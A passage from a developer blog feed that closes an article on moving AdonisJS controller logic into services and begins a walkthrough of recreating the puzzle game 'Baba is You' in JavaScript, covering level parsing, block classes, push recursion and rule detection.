            <span class="hljs-attr">tag_id</span>: tagId
        })

        <span class="hljs-keyword">await</span> ArticleTag.createMany(articleTags)
        
        Event.fire(<span class="hljs-string">"new::article"</span>, article)

        <span class="hljs-keyword">return</span> response.json({
            <span class="hljs-attr">article</span>: article.toJSON()
        })
    }
}
</code></pre>
<p>But we can clean this up even more. Right now, we can only create an article when going through this controller. If we need to be able to create articles in other places, e.g. commands, or simply want to make our code more testable, we can move the business logic to a service.</p>
<h2 id="services">Services</h2>
<p>Let's check out the implementation, there is no command for creating services.</p>
<pre class="hljs"><code><span class="hljs-comment">// app/Services/ArticleService.js</span>

<span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> Article = use(<span class="hljs-string">'App/Models/Article'</span>)
<span class="hljs-keyword">const</span> ArticleTag = use(<span class="hljs-string">'App/Models/ArticleTag'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ArticleService</span> </span>{
    <span class="hljs-keyword">async</span> store({ title, description, tags }, user) {
        <span class="hljs-keyword">const</span> article = <span class="hljs-keyword">await</span> Article.create({
            title,
            description,
            <span class="hljs-attr">user_id</span>: user.id,
        })

        <span class="hljs-keyword">const</span> articleTags = tags.map(<span class="hljs-function"><span class="hljs-params">tagId</span> =&gt;</span> {
            <span class="hljs-attr">article_id</span>: article.id,
            <span class="hljs-attr">tag_id</span>: tagId
        })

        <span class="hljs-keyword">await</span> ArticleTag.createMany(articleTags)

        <span class="hljs-keyword">return</span> article
    }
}

<span class="hljs-built_in">module</span>.exports = ArticleService
</code></pre>
<p>and our controller now is simply</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> Event = use(<span class="hljs-string">'Event'</span>)
<span class="hljs-keyword">const</span> ArticleService = use(<span class="hljs-string">'App/Services/ArticleService'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ArticleController</span> </span>{
    <span class="hljs-keyword">constructor</span>() {
        <span class="hljs-keyword">this</span>.articleService = <span class="hljs-keyword">new</span> ArticleService
    }

    <span class="hljs-keyword">async</span> store({ params, auth, request }) {
        <span class="hljs-keyword">const</span> article = <span class="hljs-keyword">await</span> <span class="hljs-keyword">this</span>.articleService.store(request.all(), auth.user)

        Event.fire(<span class="hljs-string">"new::article"</span>, article);
 
        <span class="hljs-keyword">return</span> response.json({
            <span class="hljs-attr">article</span>: article.toJSON()
        })
    }
}
</code></pre>
<h2 id="no-custom-actions">No custom actions</h2>
<p>So far we only looked at refactoring one method inside a controller. You can still end up with pretty big controllers.
If your controller ends up having too many methods, you can start splitting methods into more controllers. How? By keeping the controller <code>cruddy</code>. You can create a resourceful controller in Adonis with the following command:</p>
<pre class="hljs"><code>adonis make:controller YourController --resource
</code></pre>
<p>This way the controller has the seven default crud actions. If you need a custom action, make it <code>cruddy</code> and put it in a new controller. What do I mean by this exactly and how can you achieve this?
Well, there's actually a whole talk about this which you can find <a href="https://www.youtube.com/watch?v=MF0jFKvS4SI">here</a>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Great! Each part is now in its appropriate place, is easily testable and reusable. The controller simply calls each part. We were even able to decouple the <code>context</code> (request, auth and response) from the business logic, making the code less coupled to the framework.</p>
<p>Please note that none of these refactorings are strictly necessary. It is okay to get a little messy in the controller at first as you may not have a clear picture of the whole problem you are trying to solve.</p>
<p>But we are not protected from everything yet!
Take a look at the following controller to see what we will refactor in a future article!</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Post = use(<span class="hljs-string">'App/Models/Post'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PostsController</span> </span>{
    <span class="hljs-keyword">async</span> search({ response, request }) {    
        <span class="hljs-keyword">const</span> query = Post.query()

        <span class="hljs-keyword">if</span> (request.input(<span class="hljs-string">'category_id'</span>)) {
            query.where(<span class="hljs-string">'category_id'</span>, request.input(<span class="hljs-string">'category_id'</span>))
        }

        <span class="hljs-keyword">let</span> keyword = request.input(<span class="hljs-string">'keyword'</span>)

        <span class="hljs-keyword">if</span> (keyword) {
            keyword = <span class="hljs-string">`%<span class="hljs-subst">${<span class="hljs-built_in">decodeURIComponent</span>(keyword)}</span>%`</span>
            query
                .where(<span class="hljs-string">'title'</span>, <span class="hljs-string">'like'</span>, keyword)
                .orWhere(<span class="hljs-string">'description'</span>, <span class="hljs-string">'like'</span>, keyword)
        }

        <span class="hljs-keyword">const</span> tags = request.input(<span class="hljs-string">'tags'</span>)
        <span class="hljs-keyword">if</span> (tags) {
            query.whereIn(<span class="hljs-string">'tags'</span>, tags)
        }

        <span class="hljs-keyword">const</span> posts = <span class="hljs-keyword">await</span> query.fetch()

        <span class="hljs-keyword">return</span> response.json({ <span class="hljs-attr">posts</span>: posts.toJSON() })
    }
}
</code></pre>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Puzzle Classic "Baba is You" recreated in JavaScript - Behind the Code]]></title>
            <link>https://michaelzanggl.com/articles/baba-is-you/</link>
            <guid>baba-is-you</guid>
            <description><![CDATA[Remaking the excellent puzzle game where the logic of the game is changed during gameplay.]]></description>
            <content:encoded><![CDATA[<p><a href="https://hempuli.com/baba/">&quot;Baba is You&quot;</a> is a unique and innovative puzzle game that offers players the ability to dynamically change the game's rules as they progress through each level. The game presents its rules as blocks that players can manipulate. In other words, it's a low-code puzzle game.</p>
<h2 id="how-the-game-works">How the Game works</h2>
<p><img src="/images/article/baba-is-you-example.png" alt="baba is you example"></p>
<p>To get a better understanding of the mechanics, let's break down how to win and lose in this level:</p>
<ul>
<li>The player controls Baba, the sheep-like creature you see stuck inside a block of walls.</li>
<li>The &quot;WALL IS STOP&quot; rule is active, preventing Baba from moving out.</li>
<li>By moving to the left, the player can push the &quot;WALL&quot; block and break up the &quot;WALL IS STOP&quot; rule, allowing Baba to move through walls.</li>
<li>Breaking up the &quot;BABA IS YOU&quot; rule results in a loss as there is nothing left that &quot;IS YOU&quot;.</li>
<li>Pushing up the &quot;WIN&quot; block creates the &quot;FLAG IS WIN&quot; rule.</li>
<li>To win the level, the player must move Baba to the flag while the &quot;FLAG IS WIN&quot; rule is active.</li>
</ul>
<p>This is just one way to beat this level. An alternative solution would be to move the blocks around to create the vertical rule &quot;BABA IS WIN&quot; while keeping the horizontal &quot;BABA IS YOU&quot;.</p>
<p>In later levels, you might be required to</p>
<ul>
<li>Push the text block WALL in place of BABA, so it creates the rule &quot;WALL IS YOU&quot; -&gt; You now have control of all WALL objects</li>
<li>Create the rule &quot;WALL IS FLAG&quot;, this will turn all wall objects into flags</li>
</ul>
<p>Everytime I played on the game, the itch to figure out how it was developed grew and grew. So, I finally decided to scratch that itch by recreating it in JavaScript.</p>
<h2 id="terminology">Terminology</h2>
<p>Before we start coding, let's get the terminology straight.</p>
<ul>
<li>Blocks refer to any object or text on the game grid</li>
<li>&quot;Nouns&quot; are blocks that represent elements such as WALL, BABA, or FLAG and can have properties.</li>
<li>Operators are linking verbs such as IS, AND, or ON. They link nouns with other nouns or properties</li>
<li>Properties are verbs like STOP, WIN, PUSH, MELT, and adjectives like HOT, which can be linked with nouns.</li>
<li>An &quot;object&quot; is the actual game element, such as the sheep-like creature Baba or the walls that Baba was trapped in</li>
<li>&quot;Text&quot; refers to the textual representation of an object and is used to make up the rules of the game.</li>
</ul>
<h2 id="coding">Coding</h2>
<p>Now, to the fun part!</p>
<h3 id="the-level">The Level</h3>
<p>A level consists of a three dimensional array to hold the grid. Row, cell, layer, or x, y, z.
We need that final dimension as multiple blocks can be on top of each other in a single cell (like Baba on top of the flag).</p>
<p>For example:</p>
<pre class="hljs"><code>[
  [[text(Baba)]], [[text(IS)]], [[text(YOU)]],
  [[BABA, FLAG]]
]
</code></pre>
<p>Now creating a big level in this format is painful. Instead I lay out the level on a a spreadsheet, then copy the cells as csv. The class &quot;Level&quot; takes that stringified CSV and deserializes it at the start of the game into the structure you see above.</p>
<ul>
<li>cells ending with <code>!</code> represent the actual objects, while others represent text blocks</li>
<li>you can place multiple blocks in a cell by separating them by a space like <code>,BABA! FLAG!,</code></li>
</ul>
<pre class="hljs"><code><span class="hljs-keyword">new</span> Level(<span class="hljs-string">`
,,,,,,,,,
,BABA,IS,YOU,,,FLAG,IS,,
,,,,,,FLAG!,,WIN,
,,,,,,,,,
,WALL!,WALL!,WALL!,WALL!,WALL!,,,,
,WALL!,,,,WALL!,,,,
,WALL!,,WALL,BABA!,WALL!,,,,
,WALL!,,IS,,WALL!,,,,
,WALL!,,STOP,,WALL!,,,,
,WALL!,WALL!,WALL!,WALL!,WALL!,,,,
`</span>)
</code></pre>
<p>For each move the player makes, we serialize the current state of the board back into that format and save it in a timeline array. This allows for&quot;undoing a move&quot;, just like in the game.</p>
<pre class="hljs"><code>undo() {
  <span class="hljs-keyword">const</span> previousBoard = <span class="hljs-keyword">this</span>.timeline.pop()
  <span class="hljs-keyword">if</span> (!previousBoard) <span class="hljs-keyword">return</span>
  <span class="hljs-keyword">this</span>.board = deserializeBoard(previousBoard)
  <span class="hljs-keyword">this</span>.updateRules()
}
</code></pre>
<h3 id="blocks">Blocks</h3>
<p>Let's look at how blocks are defined on the code-side.</p>
<p>First, the base class. It's not used directly, but we will inherit nouns, operators, and properties from this class:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Block</span> </span>{
  <span class="hljs-keyword">constructor</span>(level, position) {
    <span class="hljs-keyword">this</span>.id = <span class="hljs-keyword">this</span>.constructor.name.toUpperCase()
    <span class="hljs-keyword">this</span>.level = level
    <span class="hljs-keyword">this</span>.position = position
  }

  getRow() {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.level.board[<span class="hljs-keyword">this</span>.position.row]
  }

  getCell() {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.getRow()[<span class="hljs-keyword">this</span>.position.cell]
  }
}
</code></pre>
<p>And here's the base classes for the individual categories (nouns, operators, and properties):</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Noun</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Block</span> </span>{
  type = <span class="hljs-string">'noun'</span>
  hasProperty(property) {}
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Operator</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Block</span> </span>{
  type = <span class="hljs-string">'operator'</span>
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Property</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Block</span> </span>{
  type = <span class="hljs-string">'property'</span>

  <span class="hljs-keyword">static</span> onBeforeLand() { <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span> }
  <span class="hljs-keyword">static</span> onAfterLand() {}
}
</code></pre>
<p>Now, to create an actual operator, noun, or property, we simply extend from these classes:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Baba</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Noun</span> </span>{}
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Is</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Operator</span> </span>{}
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">You</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{}
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Hot</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{}
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Push</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{}
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Text</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{
  <span class="hljs-comment">// to reference the actual object. </span>
  <span class="hljs-comment">// e.g. The ref for the text BABA is an instance of the object BABA</span>
  ref = <span class="hljs-literal">null</span>
}
</code></pre>
<p>Properties have two event listeners &quot;onBeforeLand&quot; and &quot;onAfterLand&quot;, which is all we need to express every interaction between blocks.</p>
<p>Let's see some interactions in action!</p>
<h3 id="block-interactions">Block Interactions</h3>
<p>Here's the logic for the DEFEAT property:</p>
<p>if block A touches a block with the property DEFEAT, block A gets deleted:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Defeat</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{
  <span class="hljs-keyword">static</span> onAfterLand(movingBlock, blockWithProperty, { direction, level }) {
    level.deleteBlock(movingBlock)
  }
}
</code></pre>
<p>For an interaction between blocks with certain properties, let's look at HOT and MELT.</p>
<p>If block A is HOT and it touches block B with the property MELT, block B gets deleted. We can express it like this:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Melt</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Hot</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{
  <span class="hljs-keyword">static</span> onAfterMove(movingBlock, blockWithProperty, { direction, level }) {
    <span class="hljs-keyword">if</span> (movingBlock.hasProperty(<span class="hljs-string">'melt'</span>)) {
      level.deleteBlock(movingBlock)
    }
  }
}

</code></pre>
<p><code>block.hasProperty</code> is a method on the Noun class that checks if there's a rule &quot;noun-of-block IS given-property&quot;:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Noun</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Block</span> </span>{
  type = <span class="hljs-string">'noun'</span>
  hasProperty(property) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.level.rules.some(<span class="hljs-function"><span class="hljs-params">rule</span> =&gt;</span> {
      <span class="hljs-keyword">const</span> [noun, operator, ruleProperty] = rule
      <span class="hljs-keyword">return</span> noun === <span class="hljs-keyword">this</span>.id &amp;&amp; operator === <span class="hljs-string">'IS'</span> &amp;&amp; ruleProperty === property.toUpperCase()
    })
  }
}
</code></pre>
<p>We'll look at how the rules are detected at the end as it's the most complex part of the game.</p>
<h3 id="how-to-move...">How to move...</h3>
<p>We've seen how blocks interact with each other. Let's check out what happens when the player moves on the grid and how the events on the properties are triggered:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Level</span> </span>{
  move(direction) {
    <span class="hljs-comment">// avoid moving if the game is already won/lost</span>
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>.progress !== <span class="hljs-string">'running'</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

    <span class="hljs-comment">// push the current state into the timeline to allow for undoing</span>
    <span class="hljs-keyword">this</span>.timeline.push(serializeBoard(<span class="hljs-keyword">this</span>.board))

    <span class="hljs-comment">// get all movable blocks on the board</span>
    <span class="hljs-keyword">const</span> movableBlocks = <span class="hljs-keyword">this</span>.getBlocksWithProperties([<span class="hljs-string">'you'</span>, <span class="hljs-string">'move'</span>])
    <span class="hljs-keyword">this</span>.moveBlocks(direction, movableBlocks)

    <span class="hljs-comment">// check if the user won/lost -&gt; we look at it later</span>
  }
}
</code></pre>
<p>So in essence, we retrieve all movable blocks and call the method &quot;moveBlocks&quot;. Let's look at that:</p>
<pre class="hljs"><code>moveBlocks(direction, blocks) {
  <span class="hljs-keyword">const</span> eventOptions = { <span class="hljs-attr">level</span>: <span class="hljs-keyword">this</span>, direction }
  <span class="hljs-comment">// for each block...</span>
  <span class="hljs-comment">// make sure it doesn't exceed the boundaries of the board</span>
  <span class="hljs-keyword">if</span> (!block.canMove(direction)) {
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
  }

  <span class="hljs-keyword">const</span> { landingCell, rowIndex, cellIndex } = <span class="hljs-keyword">this</span>.getNextPosition(block, direction)

  <span class="hljs-comment">// landing cell can have multiple layers. Like Baba on top of Flag</span>
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> landingBlock <span class="hljs-keyword">of</span> landingCell) {
    <span class="hljs-comment">// if block is ROCK and "ROCK IS PUSH", this returns ["PUSH"]</span>
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> property <span class="hljs-keyword">of</span> landingBlock.getRuleProperties()) {
      <span class="hljs-comment">// if any property hinders moving, abort</span>
      <span class="hljs-keyword">if</span> (!property.onBeforeLand(block, landingBlock, eventOptions)) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
      }
    }
  }

  <span class="hljs-comment">// move the block by deleting it from the current position and adding it to the new one</span>
  <span class="hljs-keyword">this</span>.deleteBlock(block)
  <span class="hljs-keyword">const</span> blocksInCell = <span class="hljs-keyword">this</span>.board[rowIndex][cellIndex].push(block)
  block.position = { <span class="hljs-attr">row</span>: rowIndex, <span class="hljs-attr">cell</span>: cellIndex, <span class="hljs-attr">z</span>: blocksInCell - <span class="hljs-number">1</span> }

  <span class="hljs-keyword">this</span>.updateRules()

  <span class="hljs-comment">// call onAfterLand</span>
  landingCell.forEach(<span class="hljs-function"><span class="hljs-params">landingBlock</span> =&gt;</span> {
    landingBlock.getRuleProperties().forEach(<span class="hljs-function">(<span class="hljs-params">property</span>) =&gt;</span> {
      property.onAfterLand(block, landingBlock, eventOptions)
    })
  })


  <span class="hljs-keyword">this</span>.emit(<span class="hljs-string">'after:move'</span>) <span class="hljs-comment">// allow the UI to rerender</span>
  <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
}
</code></pre>
<p>Here you can see both the &quot;onBeforeLand&quot; and &quot;onAfterLand&quot; events being triggered!</p>
<p>Together with this, let's see how the PUSH property is implemented.</p>
<p>Rules such as &quot;ROCK IS PUSH&quot; make rocks pushable.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Push</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{
  <span class="hljs-keyword">static</span> onBeforeLand(movingBlock, blockWithProperty, { direction, level }) {
    <span class="hljs-keyword">return</span> level.moveBlocks(direction, [blockWithProperty])
  }
}
</code></pre>
<p>Did you catch it?</p>
<p>If Baba stands in front of a pushable rock and moves in its direction, <code>level.moveBlocks()</code> will trigger the &quot;onBeforeLand&quot; event on &quot;Push&quot;, which will once again trigger <code>level.moveBlocks</code> on the rock. We've got recursion!</p>
<p>This is neat because it allows us to very easily do a recursive collision check.</p>
<p>Say, Baba is standing in front of three text blocks &quot;BABA&quot; &quot;IS&quot; &quot;YOU&quot;, which are positioned at the very right of the board.
If you try to move to the right, it will recursively attempt to push each block until &quot;onBeforeLand&quot; on the &quot;YOU&quot; block will return false, which will prevent all of these blocks from moving due to this line:</p>
<pre class="hljs"><code><span class="hljs-comment">// if any property hinders moving, don't move at all</span>
<span class="hljs-keyword">if</span> (!property.onBeforeLand(block, landingBlock, { <span class="hljs-attr">level</span>: <span class="hljs-keyword">this</span>, <span class="hljs-attr">direction</span>: direction })) {
  <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
}
</code></pre>
<x-ad />
<h3 id="complementstransformations">Complements/Transformations</h3>
<p>There is a special type of rule that transforms objects. We looked at rules like &quot;ROCK IS PUSH&quot; which adds an ability to the rock. But you can also link two nouns.</p>
<p>&quot;ROCK IS BABA&quot; for example will turn all rock objects on the board into a Baba object. We can perform this transformation after a move like this:</p>
<pre class="hljs"><code><span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> [subject, complement] <span class="hljs-keyword">of</span> complements) {
  <span class="hljs-comment">// get all ROCK objects</span>
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> block <span class="hljs-keyword">of</span> <span class="hljs-keyword">this</span>.getBlocksFor(subject.id)) {
    <span class="hljs-comment">// replace them with new BABA objects</span>
    <span class="hljs-keyword">const</span> instance = <span class="hljs-keyword">new</span> complement.constructor(<span class="hljs-keyword">this</span>, block.position)
    block.getCell()[block.position.z] = instance
  }
}
</code></pre>
<p>We get the <code>complements</code> from the rules, which we will look at later.</p>
<h3 id="detecting-the-games-progress">Detecting the game's progress</h3>
<p>For winning, we can use an event listener on the Win property:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Win</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Property</span> </span>{
  <span class="hljs-keyword">static</span> onAfterLand(movingBlock, blockWithProperty, { level }) {
    <span class="hljs-keyword">if</span> (movingBlock.hasProperty(<span class="hljs-string">'you'</span>)) {
      level.progress = <span class="hljs-string">'won'</span>
      level.emit(<span class="hljs-string">'has:won'</span>)
    }
  }
}
</code></pre>
<ul>
<li>After every move, we also call &quot;onAfterMove&quot; on every block with a rule again. This is to check for rules like &quot;BABA IS YOU AND WIN&quot; or &quot;BABA IS HOT AND MELT&quot;</li>
<li>At that time, we also check the number of blocks with the property &quot;YOU&quot; and mark the progress as lost if no block is left.</li>
</ul>
<h3 id="ui-integration">UI Integration</h3>
<p>This was the last thing I worked on, as I initially just created unit tests to test the game logic. This allowed me to instantly catch regressions and allow for safe refactoring.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can read vertical rules'</span>, () =&gt; {
  <span class="hljs-keyword">const</span> level = <span class="hljs-keyword">new</span> Level(<span class="hljs-string">`
    BABA,,FLAG
    IS,,IS
    YOU,,WIN
  `</span>)

  expect(level.rules).toEqual([
    [<span class="hljs-string">'TEXT'</span>, <span class="hljs-string">'IS'</span>, <span class="hljs-string">'PUSH'</span>], <span class="hljs-comment">// this is an implicit rule set by default</span>
    [<span class="hljs-string">'BABA'</span>, <span class="hljs-string">'IS'</span>, <span class="hljs-string">'YOU'</span>],
    [<span class="hljs-string">'FLAG'</span>, <span class="hljs-string">'IS'</span>, <span class="hljs-string">'WIN'</span>],
  ])
})
</code></pre>
<hr>
<p>For the UI, we make our code emit events at key moments, like &quot;after:move&quot; to rerender the board, &quot;has:won&quot; to detect when the user has won, or &quot;after:update:rules&quot; when the rules are updated (to render the current ruleset).</p>
<p>We also register some keyup event listerers to allow for moving and undoing!</p>
<pre class="hljs"><code>level.on(<span class="hljs-string">'has:won'</span>, () =&gt; {
  alert(<span class="hljs-string">'you have won!'</span>)
})
level.on(<span class="hljs-string">'after:move'</span>, renderBoard)
level.on(<span class="hljs-string">'after:update:rules'</span>, renderRules)

<span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">'keyup'</span>, event =&gt; {
  <span class="hljs-keyword">const</span> keyDirections = { <span class="hljs-attr">ArrowUp</span>: <span class="hljs-string">'up'</span>, <span class="hljs-attr">ArrowDown</span>: <span class="hljs-string">'down'</span>, <span class="hljs-attr">ArrowLeft</span>: <span class="hljs-string">'left'</span>, <span class="hljs-attr">ArrowRight</span>: <span class="hljs-string">'right'</span> }
  <span class="hljs-keyword">if</span> (keyDirections[event.key]) {
    level.move(keyDirections[event.key])
  }

  <span class="hljs-keyword">if</span> (event.key === <span class="hljs-string">'z'</span>) {
    level.undo()
  }
})
</code></pre>
<p>As for <code>renderBoard</code> we simply loop through the board and render the blocks on a CSS grid element, nothing special here.</p>
<p>For the game assets, I scraped the GIFs from the official wiki and named them after their corresponding words. While this is sufficient for experiments like this, it is important to note that using copyrighted material without permission could result in infringement issues if you plan to publish or distribute this.</p>
<h3 id="rules">Rules</h3>
<p>The hardest part is detecting the rules of the game, since there are so many possible combinations to consider:</p>
<ul>
<li>Rules can appear both vertically and horizontally</li>
<li>We must detect both rules between nouns and properties, as well as subject complements</li>
<li>&quot;BABA AND ROCK AND WATER IS PUSH&quot; makes all Baba, Rock, and Water blocks pushable</li>
<li>&quot;BABA IS YOU AND PUSH&quot; makes Baba controllable and pushable.</li>
<li>&quot;BABA AND ROCK IS PUSH AND MELT&quot; makes... you guessed it</li>
</ul>
<p>We want to encapsulate all this complexity in one function so we don't need to deal with all these rules elsewhere.</p>
<p>So if you have rules like &quot;BABA IS WATER&quot; and &quot;BABA AND ROCK IS PUSH AND HOT&quot;, the method &quot;updateRules&quot; should create the following four rules:</p>
<p>[&quot;BABA IS PUSH&quot;, &quot;ROCK IS PUSH&quot;, &quot;BABA IS HOT&quot;, &quot;ROCK IS HOT&quot;]</p>
<p>as well as the following complement: [&quot;BABA&quot;, &quot;WATER&quot;]</p>
<p>To begin, we start by finding all noun text blocks, as these are the starting points.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Level</span> </span>{
  updateRules() {
    <span class="hljs-comment">// this rule is always present</span>
    <span class="hljs-keyword">const</span> rules = [[<span class="hljs-string">'TEXT'</span>, <span class="hljs-string">'IS'</span>, <span class="hljs-string">'PUSH'</span>]]
    <span class="hljs-keyword">const</span> complements = []

    <span class="hljs-comment">// rules always start with nouns, so let's collect all:</span>
    <span class="hljs-keyword">const</span> nounTextBlocks = <span class="hljs-keyword">this</span>.getBlocksFor(<span class="hljs-string">'text'</span>)
      .filter(<span class="hljs-function"><span class="hljs-params">block</span> =&gt;</span> block.ref.type === <span class="hljs-string">'noun'</span>)

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addRule</span>(<span class="hljs-params">block, axis</span>) </span>{
      <span class="hljs-comment">// ...</span>
    }

    <span class="hljs-comment">// check both horizontally and vertically</span>
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> textBlock <span class="hljs-keyword">of</span> nounTextBlocks) {
      addRule(textBlock, <span class="hljs-string">'row'</span>)
      addRule(textBlock, <span class="hljs-string">'cell'</span>)
    }

    <span class="hljs-comment">// remove any duplicates using https://github.com/MZanggl/flooent</span>
    <span class="hljs-keyword">this</span>.rules = unique(rules, rule =&gt; rule.join(<span class="hljs-string">' '</span>))
    <span class="hljs-keyword">this</span>.complements = complements
  }
}
</code></pre>
<p>This code provides a solid starting point. For each noun found, the &quot;addRule&quot; function is called for both the horizontal and vertical axes. Now, let's dive into how the &quot;addRule&quot; function works.</p>
<p>Consider the rule &quot;BABA AND ROCK IS PUSH AND WATER&quot;. We can split this into two parts: the subject &quot;BABA AND ROCK&quot; and the predicate &quot;PUSH AND WATER&quot;. The key here is to identify the &quot;IS&quot; operator as that's where the split happens!</p>
<p>The &quot;subject&quot; side should not contain any properties, as &quot;BABA AND PUSH IS ...&quot; would not make sense. We begin by collecting all adjacent text blocks that fit the sequence:</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addRule</span>(<span class="hljs-params">block, axis</span>) </span>{
  <span class="hljs-keyword">const</span> ruleBlocks = [block]
  <span class="hljs-keyword">let</span> position = { ...block.position }
  <span class="hljs-keyword">const</span> subjectSequence = [[<span class="hljs-string">'noun'</span>], [<span class="hljs-string">'operator'</span>]]
  <span class="hljs-keyword">const</span> predicateSequence = [[<span class="hljs-string">'property'</span>, <span class="hljs-string">'noun'</span>], [<span class="hljs-string">'operator'</span>]]
  <span class="hljs-keyword">let</span> indexOfIsOperator = <span class="hljs-number">-1</span>

  <span class="hljs-comment">// loop and add blocks to "ruleBlocks" until the next cell is invalid</span>
  <span class="hljs-keyword">while</span>(<span class="hljs-literal">true</span>) {
    <span class="hljs-comment">// increment the position on the x or y axis and find a text block there</span>
    position[axis]++
    <span class="hljs-keyword">const</span> nextTextBlock = <span class="hljs-keyword">this</span>.board[position.row]?.[position.cell]?.find(<span class="hljs-function"><span class="hljs-params">block</span> =&gt;</span> block.id === <span class="hljs-string">'TEXT'</span>)
    <span class="hljs-keyword">if</span> (!nextTextBlock) <span class="hljs-keyword">break</span>

    <span class="hljs-keyword">if</span> (nextTextBlock.ref.id === <span class="hljs-string">'IS'</span>) {
      <span class="hljs-comment">// disallow multiple IS operators in a single rule</span>
      <span class="hljs-keyword">if</span> (indexOfIsOperator &gt;= <span class="hljs-number">0</span>) <span class="hljs-keyword">break</span>
      indexOfIsOperator = ruleBlocks.length
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-comment">// check if the sequence matches to </span>
      <span class="hljs-comment">// avoid bogus rules like "BABA ROCK IS" or "BABA AND IS"</span>
      <span class="hljs-keyword">const</span> parity = indexOfIsOperator === <span class="hljs-number">-1</span> ? subjectSequence : predicateSequence
      <span class="hljs-keyword">const</span> remainder = ruleBlocks.length % <span class="hljs-number">2</span>
      <span class="hljs-keyword">if</span> (!parity[remainder].includes(nextTextBlock.ref.type)) <span class="hljs-keyword">break</span>
    }

    ruleBlocks.push(nextTextBlock)
  }
  <span class="hljs-comment">// ... quick interruption</span>
}
</code></pre>
<p>We now have a <code>ruleBlocks</code> array that contains valid text blocks to make up a rule. However, we still need to handle cases such as &quot;BABA AND ROCK IS PUSH&quot; and detect complements/transformations like &quot;BABA IS ROCK&quot;.</p>
<p>To achieve this, we can simply discard the AND operators, split the array into the &quot;subject side&quot; and &quot;predicate side&quot;, and then cross join both sides.</p>
<p>To split the array at the position of &quot;IS,&quot; we can use the &quot;point&quot; API provided by <a href="https://github.com/MZanggl/flooent">flooent</a>.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> [subjectBlocks, predicateBlocks] = point(ruleBlocks, indexOfIsOperator).split()
      
<span class="hljs-comment">// we expect every operator except IS to be AND, so we can just discard them</span>
<span class="hljs-keyword">const</span> discardAND = <span class="hljs-function"><span class="hljs-params">block</span> =&gt;</span> block.ref.id !== <span class="hljs-string">'AND'</span>

<span class="hljs-comment">// cross join - if one side is empty, nothing gets added</span>
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> subjectBlock <span class="hljs-keyword">of</span> subjectBlocks.filter(discardAND)) {
